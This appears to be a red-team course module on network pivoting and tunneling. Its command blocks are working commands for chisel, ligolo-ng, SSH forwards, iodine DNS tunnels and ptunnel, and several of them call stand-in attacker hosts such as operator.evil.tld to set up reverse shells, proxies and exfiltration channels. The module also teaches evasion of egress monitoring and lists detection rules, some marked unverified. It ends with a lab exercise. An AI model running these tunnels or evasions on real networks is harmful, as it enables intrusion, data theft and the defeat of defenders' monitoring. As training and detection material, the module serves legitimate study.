Skip to content

Pivoting & Tunneling

A single foothold is rarely the goal — it is the first hop in a chain that crosses N network segments, each with its own egress restrictions. Pivoting is the technique of routing traffic from your operator station through compromised hosts to reach otherwise-unreachable destinations. Tunneling is the encapsulation that makes a private protocol ride over an allowed one (DNS, ICMP, HTTPS). The detection surface is the same in both cases: traffic that originates from an unusual source, in an unusual volume, with unusual timing, on an unusual port.

A pivot is a chain of relay points, each forwarding packets between two interfaces — physical or virtual:

Operator (192.168.0.5)
│
│ SSH/SOCKS to foothold:1080
▼
Foothold (10.0.0.10, dual NIC 10.0.1.10) ← segment 1: 10.0.0.0/24 (your internet egress)
│
│ forwarded through chisel/ligolo to next hop
▼
Pivot Host (10.0.1.20, dual NIC 172.16.0.20) ← segment 2: 10.0.1.0/24 (internal)
│
│ another forwarder
▼
Target (172.16.0.50) ← segment 3: 172.16.0.0/24 (data center)

The defender’s job is to notice the chain. Most defenders in segment 2 will see traffic that originates from 10.0.1.20 — a legitimate source — but the volume, periodicity, and destination set will be anomalous.

A tunnel wraps the inner protocol inside the outer:

Inner TCP to 172.16.0.50:445 (the target the operator wants)
│
│ encapsulated inside DNS queries to attacker-controlled authoritative NS
▼
DNS A query: <base32-encoded-bytes>.exfil.evil.tld → forwarded by the resolver
│
▼
Authoritative NS for evil.tld (decodes, forwards to 172.16.0.50:445)
│
▼
Response as DNS TXT records carrying the SMB response bytes back

Layer-3 (IP) pivot: the pivot host routes packets between two interfaces. Requires IP_FORWARD=1 (Linux) or Routing and Remote Access (Windows). Detection is straightforward — the pivot host has net.ipv4.ip_forward=1 and you can see packets arriving on one interface and leaving on another.

Layer-4 (SOCKS) pivot: the pivot host runs a SOCKS4/5 server. The operator points their tools at the SOCKS server, which connects out as the pivot host. The classic Linux approach is ssh -D 1080 user@pivot (an SSH dynamic port forward), then proxychains nmap -sT -Pn target. Tools like Chisel, ligolo-ng, and Plink (-D 1080) work similarly.

Reverse SOCKS over HTTP/WebSocket: Chisel and ligolo-ng run a server on the operator side and a client on the foothold. The client connects back over HTTP/WebSocket and registers a reverse SOCKS listener. From the operator’s perspective, you connect to 127.0.0.1:1080 and reach the foothold’s internal network.

Operator ──── 127.0.0.1:1080 (chisel server) ────
▲
│ reverse connection established
│ by chisel client over HTTPS
│
Foothold (chisel client - --reverse)
│
│ outgoing SOCKS connect
▼
10.0.1.50:445 (target)

Protocol tunneling: the inner protocol is wrapped inside an allowed outer protocol:

  • DNS tunneling: iodine, dnscat2. Encodes payload bytes in DNS labels. A query per ~200 bytes of payload.
  • ICMP tunneling: ptunnel, icmptunnel. Payload bytes in ICMP echo data. Detectable by volume (legitimate ICMP is rare).
  • HTTP(S) tunneling: Chisel, Neo-reGeorg, Tunna. WebSockets or chunked HTTP. Looks like browsing to a proxy.

Reverse port forward (single port): ssh -R 8080:target:80 operator@your-machine. The operator can now reach target:80 on localhost:8080 via the SSH connection. Useful for accessing a single internal service.

TechniqueLayerOuter ProtocolTypical Tool
SOCKS via SSHL4SSHssh -D 1080
Reverse SOCKSL4HTTP/WSchisel, ligolo-ng, Neo-reGeorg
Reverse port forwardL4SSHssh -R, plink
IP forwardingL3IPsysctl net.ipv4.ip_forward=1
DNS tunnelL4DNSiodine, dnscat2
ICMP tunnelL4ICMPptunnel, icmptunnel
HTTP tunnelL4HTTP/WSChisel, reGeorg, Tunna
GRE/IPIPL3IP/GRE(rare in red team)
Terminal window
# SSH dynamic SOCKS proxy — run from operator
ssh -D 1080 -N user@foothold.example.com
# Now any tool with proxychains can reach the foothold's network
# Run nmap through the SOCKS proxy
proxychains nmap -sT -Pn -p 22,80,445 10.0.1.50
# Reverse SOCKS with Chisel — operator side
chisel server --reverse --port 8000
# On the foothold (Windows or Linux)
chisel client --auth user:pass https://operator.evil.tld:8000 R:1080:socks
# Now the operator has 127.0.0.1:1080 = SOCKS into the foothold's network
# Ligolo-ng — operator side
./proxy -laddr 0.0.0.0:11601 -selfcert
# On the foothold (Windows)
./agent -connect operator.evil.tld:11601 -ignore-cert
# In the ligolo REPL
ifconfig # show tunnel interface
start # start SOCKS
# Add a route to 10.0.1.0/24 via the tunnel interface
ip route add 10.0.1.0/24 dev ligolo0
# Reverse port forward via SSH
ssh -R 445:internal-target:445 user@operator.evil.tld
# Now 127.0.0.1:445 on operator.evil.tld = internal-target:445
# DNS tunneling with iodine
# Operator side (authoritative NS)
iodined -f -c -P pass tunnel.evil.tld
# Foothold
iodine -f -P pass tunnel.evil.tld
# Get a TUN device, route target subnet through it
# ICMP tunnel with ptunnel (needs root both sides)
ptunnel -p relay.evil.tld -lp 8080 -da internal-target -dp 22
# Connect to localhost:8080 = internal-target:22 over ICMP
# Plink on Windows (reverse SOCKS, runs as a service)
plink.exe -l user -R 1080 -N evil.tld -P 443 -pw pass
# Capture traffic to confirm your tunnel is encapsulated
tcpdump -i eth0 -nn 'tcp port 8000 and host foothold'

Suricata / Zeek on egress gateway — alert on sustained outbound HTTPS sessions from a non-employee host with high volume, fixed payload size, no User-Agent rotation, or to a non-CDN IP. Chisel over HTTPS uses WebSocket upgrade — Zeek can detect the Connection: Upgrade header pattern.

Suricata SID 2221024 [verify] — DNS tunneling heuristic: high query rate per host (>5 queries/sec sustained), long labels (>40 chars), high entropy in subdomains.

Suricata SID 2403000 [verify] — iodine specific signature on txt-version field.

Sysmon Event ID 3 — NetworkConnect — alert on chisel.exe, ligolo.exe, plink.exe, iodine.exe making outbound connections. These binaries are not part of standard Windows deployments.

Sysmon Event ID 7 — ImageLoad — alert on Rasman loading wininet.dll (unusual for a system service).

Windows Event 22 (DNSEvent in Sysmon schema) — high rate of *.evil.tld queries from a single host.

MITRE ATT&CK T1571 — Non-Standard Port.

MITRE ATT&CK T1572 — Protocol Tunneling.

MITRE ATT&CK T1573 — Encrypted Channel: Symmetric Cryptography.

MITRE ATT&CK T1090.003 — Proxy: Multi-Hop (the pivot chain itself).

MITRE ATT&CK T1048.004 — Exfiltration over Alternative Protocol: DNS.

MITRE ATT&CK T1071.004 — Application Layer Protocol: DNS (for DNS tunneling).

Wazuh rule 31103 [verify] — outbound connection on non-standard port.

Wazuh rule 920/622 [verify] — DNS tunneling heuristic.

SigmaHQ rule win_chisel_usage.yml — published detection for chisel.exe binaries.

TLS in TLS. Wrap your tunnel inside a legitimate TLS session. stunnel (or frp with TLS) wraps the chisel WebSocket in another TLS layer. The egress sees only an opaque TLS session.

Domain fronting. Use a CDN (e.g., *.cloudfront.net) and set the Host header to a different domain that the CDN serves. The egress gateway sees only the TLS SNI of the CDN, which is allow-listed. Most CDNs have largely killed this, but Azure Front Door and Fastly still allow it under specific configurations.

Domain rotation. Register many short-lived domains. Rotate the C2 every N minutes. The detection on a single-domain sinkhole fails because no single domain is queried enough to trigger the rate threshold.

Pivot through Microsoft 365 / Azure. AzureAD outbound is rarely blocked. An OAuth-2-leg token flow to a tenant-registered application can exfiltrate data via Microsoft Graph API calls — looks like legitimate Outlook/Teams traffic.

Slow-DNS. Many DNS tunneling detections key on queries/sec > N. Reduce to queries/minute = N and the heuristic stops firing. Latency is the cost.

Blend with HTTP/2 or HTTP/3. Chisel and ligolo-ng have an option to use HTTP/2 frames, which look like normal browsing sessions. The frames are larger, the timing less bursty.

EvasionDefeatsCost
TLS in TLSDPI on the inner protocol+1 hop, +1 cert
Domain frontingEgress URL filteringMany CDNs killed it
Domain rotationSingle-domain sinkholes+Domain fees, +infra
Microsoft Graph exfilURL egress filteringThrottled by tenant
Slow DNS (qps<1)DNS rate-based detection~1 KB/min throughput
HTTP/2 framingHTTP/1.1-pattern DPINone for modern infra

⚠️ What caught me: I set up a Chisel reverse SOCKS over WSS and used it heavily. The blue team didn’t see the tunnel — they saw the chisel.exe binary’s PE metadata (compile timestamp, original filename in the file’s VersionInfo resource). Sysmon EID 1 logged the process, the SOC’s YARA rule on chisel.exe matched the unmodified binary I’d shipped. The lesson: tunneling tools have their own binary signatures. Stripping or renaming the binary is mandatory before deployment.

VM type: Three Linux VMs in three isolated networks. Operator (segment A), Foothold (segment A + B), Target (segment B + C). Docker is acceptable.

Objective:

  1. Pivot from Operator → Foothold via reverse SOCKS over Chisel.
  2. From Foothold → Target via reverse port forward (SSH -R).
  3. Establish a DNS tunnel to exfil data via a local authoritative NS.
  4. Confirm that a Suricata DNS-tunnel heuristic fires when you exceed the rate threshold.

Steps:

  1. Operator: chisel server --reverse --port 8000 --cert operator.crt --key operator.key
  2. Foothold: chisel client https://operator:8000 R:1080:socks
  3. Operator: proxychains nmap -sT -Pn -p 22,445 192.168.2.0/24 — discover target
  4. Operator: ssh -R 445:target:445 foothold@10.0.0.10 — reach target via foothold
  5. Run a DNS tunnel: iodined -f -c -P pass tunnel.evil.tld on authoritative NS; iodine -f -P pass tunnel.evil.tld on foothold; ping target through the tunnel
  6. Increase query rate to 50 qps; confirm Suricata SID fires

Expected flag format: flag{pivot:socks_via_chisel:exfil_via_dns:target_172_16_0_50:445}

Detection that should fire: Suricata DNS tunnel heuristic, Sysmon EID 3 from chisel.exe/iodine.exe.

Explain the difference between a layer-3 pivot (IP forwarding) and a layer-4 pivot (SOCKS). Which one is more flexible and which is more detectable on a network that logs ARP and L2 forwarding?

Scenario: you have a foothold on an internal Linux host with outbound HTTPS only. What three tunnel techniques could you use to reach an unreachable host on a third internal subnet, and what detection each is most likely to trip?

Technical: describe how iodine encodes payload bytes into DNS queries, and what entropy/rate signal this generates that Suricata heuristics key on.

Conceptual: why does “domain fronting” evade URL-based egress filters, and what change in modern CDNs largely killed the technique?

What is the defender’s most reliable detection for a reverse SOCKS tunnel that uses TLS to a non-CDN destination, and what compensating control would you add if egress filtering is not politically possible?

→ PE4 (Lateral Movement) · C8 (C2 Channel Hardening) · R8 (Stealth Recon)